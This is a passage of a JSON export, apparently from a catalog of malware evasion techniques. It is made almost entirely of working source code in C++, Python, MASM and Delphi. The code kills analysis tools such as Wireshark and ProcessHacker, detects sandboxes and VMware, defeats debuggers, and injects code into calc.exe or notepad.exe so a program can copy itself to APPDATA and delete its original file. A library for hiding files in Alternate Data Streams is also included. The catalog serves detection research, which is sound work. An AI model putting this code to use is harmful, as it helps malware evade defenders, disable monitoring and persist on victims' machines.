NULL);\r\n\t\t\t\t\t\t\t\tCloseHandle(tHandle);\r\n\t\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\telse {\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tCloseHandle(tHandle);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t} while (Thread32Next(hth, &te));\r\n\t\t}\r\n\t}\r\n\telse {\r\n\t\tstd::cout << \"Thread snapshot cannot taken!\\n\";\r\n\t\tExitProcess(1);\r\n\t}\r\n\twhile (1); // for second thread\r\n}"
        },
        {
            "id": 67,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 16,
                "username": "Ahmed",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/0xastr0",
                "website": null,
                "github": "https://vxcute.github.io/"
            },
            "technique": "https://unprotect.it/api/techniques/131/?format=api",
            "description": "",
            "plain_code": "#include <iostream>\r\n#include <Windows.h>\r\n#include <Psapi.h>\r\n#include <vector>\r\n#include <TlHelp32.h>\r\n\r\n#pragma comment(lib, \"Psapi\")\r\n#pragma comment(lib,\"ntdll.lib\")\r\n\r\ntypedef NTSTATUS(NTAPI* _NtGetNextProcess)(\r\n\t_In_ HANDLE ProcessHandle,\r\n\t_In_ ACCESS_MASK DesiredAccess,\r\n\t_In_ ULONG HandleAttributes,\r\n\t_In_ ULONG Flags,\r\n\t_Out_ PHANDLE NewProcessHandle\r\n\t);\r\n\r\nstd::vector<std::string> procs =\r\n{\r\n\t\"ProcessHacker.exe\", \r\n\t\"Wireshark.exe\"\r\n};\r\n\r\nauto terminate_process() -> void\r\n{\r\n\tHMODULE ntdll = GetModuleHandleA(\"ntdll.dll\");\r\n\tHANDLE currp = nullptr;\r\n\tchar buf[1024] = { 0 };\r\n\r\n\t_NtGetNextProcess NtGetNextProcess = (_NtGetNextProcess)GetProcAddress(ntdll, \"NtGetNextProcess\");\r\n\r\n\tfor (int i = 0; i < procs.size(); i++) {\r\n\t\tdo {\r\n\t\t\tGetModuleFileNameExA(currp, 0, buf, MAX_PATH);\r\n\t\t\tif (strstr(buf, procs[i].c_str()))\r\n\t\t\t\tTerminateProcess(currp, -1);\r\n\t\t} while (!NtGetNextProcess(currp, MAXIMUM_ALLOWED, 0, 0, &currp));\r\n\t}\r\n}\r\n\r\nint main()\r\n{\r\n\tterminate_process();\r\n\treturn 0;\r\n}"
        },
        {
            "id": 66,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 15,
                "username": "Fumik0_",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/fumik0_",
                "website": "https://fumik0.com/",
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/169/?format=api",
            "description": "",
            "plain_code": "#include <iostream>\r\n#include <windows.h>\r\n\r\nusing namespace std;\r\n\r\nint main()\r\n{\r\n\tSIZE_T s;\r\n\tprintf(\"Starting the LocalSize()\\n\");\r\n\tfor (int i = 0; i < 0xFFF; i++){\r\n\t    s = LocalSize(0);\r\n\t}\r\n\tprintf(\"Sempai! :) \\n\");\r\n\treturn 0;\r\n}"
        },
        {
            "id": 65,
            "language": {
                "id": 3,
                "label": "Python",
                "code_class": "python"
            },
            "user": {
                "id": 14,
                "username": "Kağan IŞILDAK",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/kaganisildak",
                "website": "https://kaganisildak.com",
                "github": "https://github.com/kaganisildak"
            },
            "technique": "https://unprotect.it/api/techniques/168/?format=api",
            "description": "This snippet detects if the process is running in the online sandbox app.any.run.",
            "plain_code": "import subprocess\r\n\r\ndef executer(args):\r\n    proc = subprocess.Popen(args,stdout=subprocess.PIPE)\r\n    return str(proc.communicate()[0])\r\n\r\ncert = executer([\"powershell.exe\", \"-Command\",\"Get-ChildItem\",\"-Recurse\",\"Cert:CurrentUser\\My\"])\r\nproc = executer([\"powershell.exe\",\"Get-Process\"])\r\ndlls = executer([\"listdlls.exe\",\"srvpost.exe\",\"/accepteula\"])\r\n\r\nSUSDLLS = (\"winanr.dll\", \"winsanr.dll\")\r\nif any(dll in dlls for dll in SUSDLLS): print(\"Any.Run Monitoring Agent Found\")\r\n\r\nif \"Some Company\" in cert or \"srvpost\" in proc:\r\n    print(\"ANY.RUN DETECTED\")\r\nelse:\r\n    print(\"NOT ANY.RUN\")"
        },
        {
            "id": 63,
            "language": {
                "id": 6,
                "label": "MASM",
                "code_class": "x86asm"
            },
            "user": {
                "id": 13,
                "username": "Jochen",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Jochen16291934",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/167/?format=api",
            "description": "",
            "plain_code": "include 'win64ax.inc'\r\ninclude 'pe.inc'\r\nentry start\r\n\r\n\r\nstart:\r\n\r\n       sub rsp, 8 ; Align stack\r\n\r\n       fastcall [GetModuleFileNameA], 0, modulename, 50 ; Get full path of this file\r\n\r\n       mov rax,[gs:60h]    ; PEB\r\n       mov rax,[rax+10h]   ; ImageBaseAddress\r\n\r\n       mov [ImageBaseAddress], rax\r\n\r\n       movsxd  rax, dword [rax+IMAGE_DOS_HEADER.e_lfanew]\r\n       add rax,[ImageBaseAddress]\r\n\r\n       mov eax, dword [rax+IMAGE_NT_HEADERS64.OptionalHeader.SizeOfImage]\r\n       mov [dwSize], eax\r\n\r\n       ; To work for Win10 we must clear the sinfo struct (104 Bytes)\r\n\r\n       cinvoke memset, sinfo, 0, 104d\r\n       mov  [sinfo.cb], 104d\r\n\r\n       ; Now we create the process to inject our code in with CREATE_SUSPENDED flag so it does not actually run :)\r\n\r\n       fastcall [CreateProcessA], 0, sCalc, 0, 0, FALSE, CREATE_SUSPENDED, 0, 0, sinfo, pinfo\r\n\r\n\r\n       ; Allocate memory in the remote process (Calc.exe)\r\n\r\n       fastcall [VirtualAllocEx], [pinfo.hProcess], [ImageBaseAddress], [dwSize], MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE\r\n\r\n       ; Write it to the remote process\r\n\r\n       fastcall [WriteProcessMemory], [pinfo.hProcess], rax, [ImageBaseAddress], [dwSize], 0\r\n\r\n       ; execute the code pointed by HijackedThread into the remote process\r\n\r\n       fastcall [CreateRemoteThread], [pinfo.hProcess], 0, 0, HijackedThread, 0, 0, 0\r\n\r\nexit:  fastcall [ExitProcess], 0  ; exit this process so the injected code can delete this file !\r\n\r\n\r\n\r\n HijackedThread:\r\n\r\n       sub rsp, 8\r\n\r\n       invoke DeleteFileA, modulename  ; <-- modulename contains the full path of this file\r\n       invoke ExitProcess,0\r\n\r\n\r\n\r\nsection '.data' data readable writeable\r\n\r\n\r\nsCalc  db  'calc.exe',0  ; <-- process where we inject our code in\r\n\r\n\r\n modulename  rb 50\r\n\r\n\r\n\r\n pinfo\t      PROCESS_INFORMATION\r\n sinfo\t      STARTUPINFO\r\n\r\n ImageBaseAddress     dq 0\r\n dwSize \t      dd 0\r\n\r\n\r\nsection '.idata' import data readable writeable\r\n\r\n  library kernel32,'KERNEL32.DLL',\\\r\n\t  user32,'USER32.DLL',\\\r\n\t  msvcrt,'msvcrt.dll'\r\n\r\n\r\n import msvcrt,\\\r\n\tmemset,'memset'\r\n\r\n  include 'api\\kernel32.inc'\r\n  include 'api\\user32.inc'"
        },
        {
            "id": 64,
            "language": {
                "id": 6,
                "label": "MASM",
                "code_class": "x86asm"
            },
            "user": {
                "id": 13,
                "username": "Jochen",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Jochen16291934",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/167/?format=api",
            "description": "",
            "plain_code": "include 'win32ax.inc'\r\n\r\nmain:\r\n\r\n\r\n\r\n     stdcall [GetModuleFileName],0,modulename,80\r\n     stdcall [CreateFile],BatFile,GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0\r\n\r\n     mov [myfile], eax\r\n     cmp eax, 0xffffff\r\n     jz .exit\r\n\r\n     stdcall [wsprintf],buf,MainStr,modulename,modulename\r\n     stdcall [WriteFile],[myfile],buf,bufsize,byteswritten,0\r\n     stdcall [CloseHandle],[myfile]\r\n\r\n\r\n     stdcall [ShellExecute],0,0,BatFile,0,0,SW_HIDE\r\n\r\n.exit:\tstdcall [ExitProcess],0\r\n\r\n\r\n\r\n MainStr db \":Repeat\",13,10,\\\r\n\t   \"del %s\",13,10,\\\r\n\t   \"if exist %s goto Repeat\",13,10,\\\r\n\t   \"del del.bat\",0\r\n\r\n BatFile db \"del.bat\",0\r\n\r\n modulename rb 80\r\n buf\t    rb\t0xff\r\n bufsize = $ - buf\r\n\r\n myfile \t\t dd ?\r\n byteswritten\t     dd ?\r\n\r\ndata import\r\nlibrary kernel32,\"kernel32.dll\",user32,\"user32.dll\",shell32,\"shell32.dll\"\r\ninclude \"%include%/api/shell32.inc\"\r\ninclude \"%include%/api/kernel32.inc\"\r\ninclude \"%include%/api/user32.inc\"\r\nend data"
        },
        {
            "id": 62,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/167/?format=api",
            "description": "",
            "plain_code": "{\r\n  32Bit Example of File Melting\r\n}\r\n\r\nprogram Melt;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\n{$R *.res}\r\n\r\nuses\r\n  System.SysUtils,\r\n  WinAPI.Windows,\r\n  shlobj;\r\n\r\n\r\ntype\r\n  TRemotePointer = record\r\n    Address : Pointer;\r\n    Size    : Cardinal;\r\n  end;\r\n\r\n  TMeltThreadInfo = record\r\n    // WinAPI\r\n    GetProcAddress : Pointer;\r\n    LoadLibrary    : Pointer;\r\n    GetLastError   : Pointer;\r\n    ExitProcess    : Pointer;\r\n    DeleteFileW    : Pointer;\r\n    Sleep          : Pointer;\r\n    WinExec        : Pointer;\r\n\r\n    // Str\r\n    sTargetFile    : Pointer;\r\n    sExecFile      : Pointer;\r\n  end;\r\n  PMeltThreadInfo = ^TMeltThreadInfo;\r\n\r\n{\r\n  Generate an exception message with Last Error Information\r\n}\r\nfunction GetLastErrorMessage(AFuncName : String) : String;\r\nbegin\r\n  result := Format('\"%s\" call failed with LastError=[%d], Message=[%s].', [\r\n    AFuncName,\r\n    GetLastError(),\r\n    SysErrorMessage(GetLastError())\r\n  ]);\r\nend;\r\n\r\n{\r\n  Spawn a new hidden process\r\n}\r\nfunction Spawn(APEFile : String) : THandle;\r\nvar hProc               : THandle;\r\n    b                   : Boolean;\r\n    AStartupInfo        : TStartupInfo;\r\n    AProcessInformation : TProcessInformation;\r\nbegin\r\n  result := INVALID_HANDLE_VALUE;\r\n  ///\r\n\r\n  ZeroMemory(@AProcessInformation, SizeOf(TProcessInformation));\r\n  ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));\r\n\r\n  AStartupInfo.cb          := SizeOf(TStartupInfo);\r\n  AStartupInfo.wShowWindow := SW_SHOW;\r\n  AStartupInfo.dwFlags     := STARTF_USESHOWWINDOW;\r\n\r\n  UniqueString(APEFile);\r\n\r\n  b := CreateProcessW(\r\n                          PWideChar(APEFile),\r\n                          nil,\r\n                          nil,\r\n                          nil,\r\n                          False,\r\n                          0,\r\n                          nil,\r\n                          nil,\r\n                          AStartupInfo,\r\n                          AProcessInformation\r\n  );\r\n\r\n  if not b then\r\n    raise Exception.Create(GetLastErrorMessage('CreateProcessW'));\r\n\r\n  ///\r\n  result := AProcessInformation.hProcess;\r\nend;\r\n\r\n{\r\n  Melt File using Process Injection Technique\r\n}\r\n\r\nprocedure MeltThread(pInfo : PMeltThreadInfo) ; stdcall;\r\nvar _GetLastError   : function() : DWORD; stdcall;\r\n    _ExitProcess    : procedure(uExitCode : UINT); stdcall;\r\n    _DeleteFileW    : function(lpFileName : LPCSTR) : BOOL; stdcall;\r\n    _Sleep          : procedure(dwMilliseconds : DWORD); stdcall;\r\n    _MessageBox : function(hWindow : HWND; lpText : LPCWSTR; lpCaption : LPCWSTR; uType : UINT):integer;stdcall;\r\n    _WinExec        : function(lpCmdLine : LPCSTR; uCmdShow : UINT) : UINT; stdcall;\r\nbegin\r\n  @_GetLastError   := pInfo^.GetLastError;\r\n  @_ExitProcess    := pInfo^.ExitProcess;\r\n  @_DeleteFileW    := pInfo^.DeleteFileW;\r\n  @_Sleep          := pInfo^.Sleep;\r\n  @_WinExec        := pInfo^.WinExec;\r\n\r\n  while not _DeleteFileW(pInfo^.sTargetFile) do begin\r\n    if (_GetLastError = ERROR_FILE_NOT_FOUND) then\r\n      break;\r\n    ///\r\n\r\n    _Sleep(100);\r\n  end;\r\n\r\n  _WinExec(PAnsiChar(pInfo^.sExecFile), SW_SHOW);\r\n\r\n  _ExitProcess(0);\r\n\r\n  /// EGG\r\n  asm\r\n    mov eax, $DEADBEAF;\r\n    mov eax, $DEADBEAF;\r\n  end;\r\nend;\r\n\r\nprocedure DoMelt_Injection(ATargetFile, AExecFile : String);\r\nvar hProc         : THandle;\r\n    ABytesWritten : SIZE_T;\r\n    AInfo         : TMeltThreadInfo;\r\n    p             : Pointer;\r\n    AThreadID     : DWORD;\r\n    AThreadProc   : TRemotePointer;\r\n    AInjectedInfo : TRemotePointer;\r\n    hKernel32     : THandle;\r\n    pSysWow64     : PWideChar;\r\n\r\n  function FreeRemoteMemory(var ARemotePointer : TRemotePointer) : Boolean;\r\n  begin\r\n    result := False;\r\n    ///\r\n\r\n    if (NOT Assigned(ARemotePointer.Address)) or (ARemotePointer.Size = 0) then\r\n      Exit();\r\n\r\n    result := VirtualFreeEx(hProc, ARemotePointer.Address, ARemotePointer.Size, MEM_RELEASE);\r\n\r\n    ZeroMemory(@ARemotePointer, SizeOf(TRemotePointer));\r\n  end;\r\n\r\n  function InjectBuffer(pBuffer : PVOID; ABufferSize : Cardinal) : TRemotePointer;\r\n  begin\r\n    ZeroMemory(@result, SizeOf(TRemotePointer));\r\n    ///\r\n\r\n    result.Size := ABufferSize;\r\n    result.Address := VirtualAllocEx(hProc, nil, result.Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n    if result.Address = nil then\r\n      raise Exception.Create(GetLastErrorMessage('VirtualAllocEx'));\r\n    ///\r\n\r\n    if not WriteProcessMemory(hProc, result.Address, pBuffer, result.Size, ABytesWritten) then begin\r\n      FreeRemoteMemory(result);\r\n\r\n      raise Exception.Create(GetLastErrorMessage('WriteProcessMemory'));\r\n    end;\r\n  end;\r\n\r\n  function InjectStringW(AString : String) : TRemotePointer;\r\n  begin\r\n    result := InjectBuffer(PWideChar(AString), (Length(AString) * SizeOf(WideChar)));\r\n  end;\r\n\r\n  function InjectStringA(AString : AnsiString) : TRemotePointer;\r\n  begin\r\n    result := InjectBuffer(PAnsiChar(AString), (Length(AString) * SizeOf(AnsiChar)));\r\n  end;\r\n\r\n  function GetFuncSize(pFunc : Pointer) : Cardinal;\r\n  {\r\n    This is a very dumb but working technique, we scan for our special pattern to\r\n    get the address of our last MeltThread instruction.\r\n\r\n    We skip all epilogue instructions since the thread will end the parent process.\r\n\r\n    Other techniques exists to know the exact size of a function but is not required\r\n    for our example.\r\n  }\r\n  var I              : Integer;\r\n      pCurrentRegion : Pointer;\r\n      AFound         : Boolean;\r\n\r\n  const EGG : array[0..5-1] of Byte = ($B8, $AF, $BE, $AD, $DE);\r\n  begin\r\n    I := 0;\r\n    AFound := False;\r\n\r\n    while True do begin\r\n      pCurrentRegion := Pointer(NativeUInt(pFunc) + I);\r\n\r\n      if CompareMem(pCurrentRegion, @EGG, Length(EGG)) then begin\r\n        if AFound then begin\r\n          result := I - Length(EGG);\r\n\r\n          break;\r\n        end;\r\n\r\n        AFound := True;\r\n      end;\r\n\r\n      Inc(I);\r\n    end;\r\n  end;\r\n\r\nbegin\r\n  GetMem(pSysWOW64, MAX_PATH);\r\n  try\r\n    SHGetSpecialFolderPathW(0, pSysWOW64, CSIDL_SYSTEMX86, False);\r\n  finally\r\n    FreeMem(pSysWOW64, MAX_PATH);\r\n  end;\r\n\r\n  hProc := Spawn(Format('%s\\notepad.exe', [String(pSysWOW64)]));\r\n  try\r\n    ZeroMemory(@AInfo, SizeOf(TMeltThreadInfo));\r\n\r\n    {\r\n      Prepare Thread Parameter\r\n    }\r\n    hKernel32 := LoadLibrary('kernel32.dll');\r\n\r\n    AInfo.GetLastError   := GetProcAddress(hKernel32, 'GetLastError');\r\n    AInfo.ExitProcess    := GetProcAddress(hKernel32, 'ExitProcess');\r\n    AInfo.DeleteFileW    := GetProcAddress(hKernel32, 'DeleteFileW');\r\n    AInfo.Sleep          := GetProcAddress(hKernel32, 'Sleep');\r\n    AInfo.GetProcAddress := GetProcAddress(hKernel32, 'GetProcAddress');\r\n    AInfo.LoadLibrary    := GetProcAddress(hKernel32, 'LoadLibraryW');\r\n    AInfo.WinExec        := GetProcAddress(hKernel32, 'WinExec');\r\n\r\n    AInfo.sTargetFile    := InjectStringW(ATargetFile).Address;\r\n    AInfo.sExecFile      := InjectStringA(AnsiString(AExecFile)).Address;\r\n    try\r\n      AThreadProc := InjectBuffer(@MeltThread, GetFuncSize(@MeltThread));\r\n\r\n      AInjectedInfo := InjectBuffer(@AInfo, SizeOf(TMeltThreadInfo));\r\n\r\n      if CreateRemoteThread(hProc, nil, 0, AThreadProc.Address, AInjectedInfo.Address, 0, AThreadID) = 0 then\r\n        raise Exception.Create(GetLastErrorMessage('CreateRemoteThread'));\r\n\r\n      WriteLn('Done.');\r\n    except\r\n      on E: Exception do begin\r\n        TerminateProcess(hProc, 0);\r\n\r\n        raise;\r\n      end;\r\n    end;\r\n  finally\r\n    CloseHandle(hProc);\r\n  end;\r\nend;\r\n\r\n{\r\n  Program Entry Point\r\n}\r\nvar ACurrentFile : String;\r\n    ADestFile    : String;\r\nbegin\r\n  try\r\n    ACurrentFile := GetModuleName(0);\r\n\r\n    ADestFile := Format('%s\\%s', [\r\n        GetEnvironmentVariable('APPDATA'),\r\n        ExtractFileName(GetModuleName(0))\r\n    ]);\r\n\r\n    if String.Compare(ACurrentFile, ADestFile, True) = 0 then begin\r\n      {\r\n        After Melt (New Installed Copy)\r\n      }\r\n\r\n      WriteLn(Format('Melt successfully. I''m running from \"%s\"', [ACurrentFile]));\r\n      WriteLn('Press enter to exit.');\r\n      Readln;\r\n    end else begin\r\n      {\r\n        Melt Instance\r\n      }\r\n      WriteLn('Install our copy and initiate file melting...');\r\n\r\n      if NOT CopyFile(\r\n                        PWideChar(ACurrentFile),\r\n                        PWideChar(ADestFile),\r\n                        False) then\r\n        raise Exception.Create(Format('Could not copy file from \"%s\" to \"%s\"', [ACurrentFile, ADestFile]));\r\n\r\n      DoMelt_Injection(ACurrentFile, ADestFile);\r\n    end;\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 61,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/6/?format=api",
            "description": "Two methods are demonstrated in this example (Windows Registry and Windows Service Manager API).",
            "plain_code": "program AntiSandboxScanService;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\n{$R *.res}\r\n\r\nuses\r\n  System.SysUtils,\r\n  WinAPI.Windows,\r\n  WinAPI.WinSvc;\r\n\r\n\r\nconst ANTI_LIST : array[0..4-1] of String = (\r\n      // VMWare\r\n      'VGAuthService',\r\n      'vmvss',\r\n      'vm3dservice',\r\n      'VMTools' \r\n      // ...\r\n);\r\n\r\n{\r\n  Using Service Manager WinAPI + OpenService()\r\n\r\n  * https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-openscmanagerw\r\n  * https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-openservicew\r\n}\r\nfunction CheckService_WinSvc() : Boolean;\r\nvar AServiceManager : SC_HANDLE;\r\n    I               : Cardinal;\r\nbegin\r\n  result := False;\r\n  ///\r\n\r\n  AServiceManager := OpenSCManagerW(nil, nil, SC_MANAGER_ENUMERATE_SERVICE);\r\n  if AServiceManager = 0 then\r\n  raise Exception.Create(\r\n      Format('Could not open service manager with error=[%s]', [GetLastError()])\r\n  );\r\n  try\r\n    for I := 0 to Length(ANTI_LIST) -1 do begin\r\n      if (OpenServiceW(AServiceManager, PWideChar(ANTI_LIST[I]), READ_CONTROL) <> 0) then begin\r\n        WriteLn(Format('[*] \"%s\" service found.', [ANTI_LIST[I]]));\r\n\r\n        ///\r\n        result := true;\r\n      end;\r\n    end;\r\n  finally\r\n    CloseServiceHandle(AServiceManager);\r\n  end;\r\nend;\r\n\r\n{\r\n  Using Microsoft Windows Registry + RegOpenKeyExW\r\n\r\n  * https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regopenkeyexw\r\n}\r\nfunction CheckService_Registry() : Boolean;\r\nconst HIVE : HKEY = HKEY_LOCAL_MACHINE;\r\n      PATH = 'SYSTEM\\CurrentControlSet\\Services\\%s';\r\nvar AStatus : Longint;\r\n    AKey    : HKEY;\r\n    I       : Cardinal;\r\n    APath   : String;\r\nbegin\r\n  for I := 0 to Length(ANTI_LIST) -1 do begin\r\n    APath := Format(PATH, [ANTI_LIST[i]]);\r\n    if RegOpenKeyExW(HIVE, PWideChar(APath), 0, KEY_READ, AKey) <> ERROR_SUCCESS then\r\n      continue;\r\n    try\r\n        WriteLn(Format('[*] \"%s\" service found.', [ANTI_LIST[I]]));\r\n\r\n        ///\r\n        result := true;\r\n    finally\r\n      RegCloseKey(AKey);\r\n    end;\r\n  end;\r\nend;\r\n\r\nprocedure Header(ACaption : String);\r\nbegin\r\n  WriteLn(StringOfChar('-', 50));\r\n  WriteLn(ACaption);\r\n  WriteLn(StringOfChar('-', 50));\r\nend;\r\n\r\nbegin\r\n  try\r\n    Header('Check Service (WinSvc):');\r\n    if not CheckService_WinSvc() then\r\n      WriteLn('Nothing found so far...');\r\n\r\n    WriteLn;\r\n\r\n    Header('Check Service (Registry):');\r\n    if not CheckService_Registry() then\r\n      WriteLn('Nothing found so far...');\r\n\r\n    readln;\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 60,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/108/?format=api",
            "description": "Source: https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/AntiDebug/MemoryBreakpoints_PageGuard.cpp",
            "plain_code": "#include \"pch.h\"\r\n\r\n#include \"MemoryBreakpoints_PageGuard.h\"\r\n\r\n/*\r\nIn essence, what occurs is that we allocate a dynamic buffer and write a RET to the buffer.\r\nWe then mark the page as a guard page and push a potential return address onto the stack. Next, we jump to our page,\r\nand if we're under a debugger, specifically OllyDBG, then we will hit the RET instruction and return to the address we pushed onto\r\nthe stack before we jumped to our page. Otherwise, a STATUS_GUARD_PAGE_VIOLATION exception will occur, and we know we're not being\r\ndebugged by OllyDBG.\r\n*/\r\n\r\nBOOL MemoryBreakpoints_PageGuard()\r\n{\r\n\tUCHAR *pMem = NULL;\r\n\tSYSTEM_INFO SystemInfo = { 0 };\r\n\tDWORD OldProtect = 0;\r\n\tPVOID pAllocation = NULL; // Get the page size for the system \r\n\r\n\t// Retrieves information about the current system.\r\n\tGetSystemInfo(&SystemInfo);\r\n\r\n\t// Allocate memory \r\n\tpAllocation = VirtualAlloc(NULL, SystemInfo.dwPageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n\tif (pAllocation == NULL)\r\n\t\treturn FALSE;\r\n\r\n\t// Write a ret to the buffer (opcode 0xc3)\r\n\tRtlFillMemory(pAllocation, 1, 0xC3);\r\n\r\n\t// Make the page a guard page         \r\n\tif (VirtualProtect(pAllocation, SystemInfo.dwPageSize, PAGE_EXECUTE_READWRITE | PAGE_GUARD, &OldProtect) == 0)\r\n\t\treturn FALSE;\r\n\r\n\t__try\r\n\t{\r\n\t\t((void(*)())pAllocation)(); // Exception or execution, which shall it be :D?\r\n\t}\r\n\t__except (GetExceptionCode() == STATUS_GUARD_PAGE_VIOLATION ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)\r\n\t{\r\n\t\tVirtualFree(pAllocation, 0, MEM_RELEASE);\r\n\t\treturn FALSE;\r\n\t}\r\n\r\n\tVirtualFree(pAllocation, 0, MEM_RELEASE);\r\n\treturn TRUE;\r\n}"
        },
        {
            "id": 59,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/136/?format=api",
            "description": "This code let you handle Alternate Data Streams using two different techniques.\r\n\r\n* `FindFirstStreamW` / `FindNextStreamW` : Available since Windows Vista and easier to use.\r\n* `BackupRead` : Available since Windows XP and more tricky to use.\r\n\r\nYou can:\r\n\r\n* Enumerate ADS Files attached to a target file.\r\n* Backup ADS File(s) attached to a target file.\r\n* Copy any file to target file ADS.\r\n* Delete ADS File(s) attached to a target file.\r\n\r\nIf you want to learn more about how to use this tiny library you can check [this example project on Github](https://github.com/DarkCoderSc/ADS-Revealer).",
            "plain_code": "unit UntDataStreamObject;\r\n\r\ninterface\r\n\r\nuses WinAPI.Windows, System.Classes, System.SysUtils, Generics.Collections,\r\n      RegularExpressions;\r\n\r\ntype\r\n  TEnumDataStream = class;\r\n  TADSBackupStatus = (absTotal, absPartial, absError);\r\n\r\n  TDataStream = class\r\n  private\r\n    FOwner      : TEnumDataStream;\r\n    FStreamName : String;\r\n    FStreamSize : Int64;\r\n\r\n    {@M}\r\n    function GetStreamPath() : String;\r\n  public\r\n    {@C}\r\n    constructor Create(AOwner : TEnumDataStream; AStreamName : String; AStreamSize : Int64);\r\n\r\n    {@M}\r\n    function CopyFileToADS(AFileName : String) : Boolean;\r\n    function BackupFromADS(ADestPath : String) : Boolean;\r\n    function DeleteFromADS() : Boolean;\r\n\r\n    {@G/S}\r\n    property StreamName : String read FStreamName;\r\n    property StreamSize : Int64  read FStreamSize;\r\n    property StreamPath : String read GetStreamPath;\r\n  end;\r\n\r\n  TEnumDataStream = class\r\n  private\r\n    FTargetFile            : String;\r\n    FItems                 : TObjectList<TDataStream>;\r\n    FForceBackUpReadMethod : Boolean;\r\n\r\n    {@M}\r\n    function Enumerate_FindFirstStream() : Int64;\r\n    function Enumerate_BackupRead() : Int64;\r\n    function ExtractADSName(ARawName : String) : String;\r\n    function CopyFromTo(AFrom, ATo : String) : Boolean;\r\n    function GetDataStreamFromName(AStreamName : String) : TDataStream;\r\n  public\r\n    {@C}\r\n    constructor Create(ATargetFile : String; AEnumerateNow : Boolean = True; AForceBackUpReadMethod : Boolean = False);\r\n    destructor Destroy(); override;\r\n\r\n    {@M}\r\n    function Refresh() : Int64;\r\n\r\n    function CopyFileToADS(AFilePath : String) : Boolean;\r\n    function BackupFromADS(ADataStream : TDataStream; ADestPath : String) : Boolean; overload;\r\n    function DeleteFromADS(ADataStream : TDataStream) : Boolean; overload;\r\n    function BackupAllFromADS(ADestPath : String) : TADSBackupStatus;\r\n    function BackupFromADS(AStreamName, ADestPath : String) : Boolean; overload;\r\n    function DeleteFromADS(AStreamName : String) : Boolean; overload;\r\n\r\n    {@G}\r\n    property TargetFile : String                   read FTargetFile;\r\n    property Items      : TObjectList<TDataStream> read FItems;\r\n  end;\r\n\r\nimplementation\r\n\r\n{+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n\r\n   TEnumDataStream\r\n\r\n\r\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++}\r\n\r\n{\r\n  FindFirstStream / FindNextStream API Definition\r\n}\r\ntype\r\n  _STREAM_INFO_LEVELS = (FindStreamInfoStandard, FindStreamInfoMaxInfoLevel);\r\n  TStreamInfoLevels = _STREAM_INFO_LEVELS;\r\n\r\n  _WIN32_FIND_STREAM_DATA = record\r\n    StreamSize : LARGE_INTEGER;\r\n    cStreamName : array[0..(MAX_PATH + 36)] of WideChar;\r\n  end;\r\n  TWin32FindStreamData = _WIN32_FIND_STREAM_DATA;\r\n\r\nvar hKernel32         : THandle;\r\n    _FindFirstStreamW : function(lpFileName : LPCWSTR; InfoLevel : TStreamInfoLevels; lpFindStreamData : LPVOID; dwFlags : DWORD) : THandle; stdcall;\r\n    _FindNextStreamW  : function(hFindStream : THandle; lpFindStreamData : LPVOID) : BOOL; 